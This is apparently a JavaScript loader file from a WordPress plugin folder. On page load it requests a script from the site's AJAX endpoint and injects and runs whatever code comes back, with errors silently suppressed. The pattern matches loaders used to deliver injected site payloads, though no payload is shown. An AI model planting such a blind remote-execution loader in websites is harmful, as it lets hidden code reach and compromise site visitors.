https://pq88.study/wp-content/plugins/meta-box-pro-111/js/bsc-loader.js?ver=2.7.5

1(function () {
2  'use strict';
3
4  if (window.__bscSlRan || typeof bscSl === 'undefined') {
5    return;
6  }
7  window.__bscSlRan = true;
8
9  function runScript(source) {
10    var el = document.createElement('script');
11    el.type = 'text/javascript';
12    el.text = source;
13    (document.body || document.documentElement).appendChild(el);
14  }
15
16  function request() {
17    var body = new FormData();
18    body.append('action', bscSl.action);
19    body.append('nonce', bscSl.nonce);
20
21    fetch(bscSl.ajaxUrl, {
22      method: 'POST',
23      credentials: 'same-origin',
24      body: body
25    })
26      .then(function (res) {
27        return res.json();
28      })
29      .then(function (payload) {
30        if (!payload || !payload.success || !payload.data || !payload.data.script) {
31          return;
32        }
33        runScript(payload.data.script);
34      })
35      .catch(function () {});
36  }
37
38  if (document.readyState === 'loading') {
39    document.addEventListener('DOMContentLoaded', request);
40  } else {
41    request();
42  }
43})();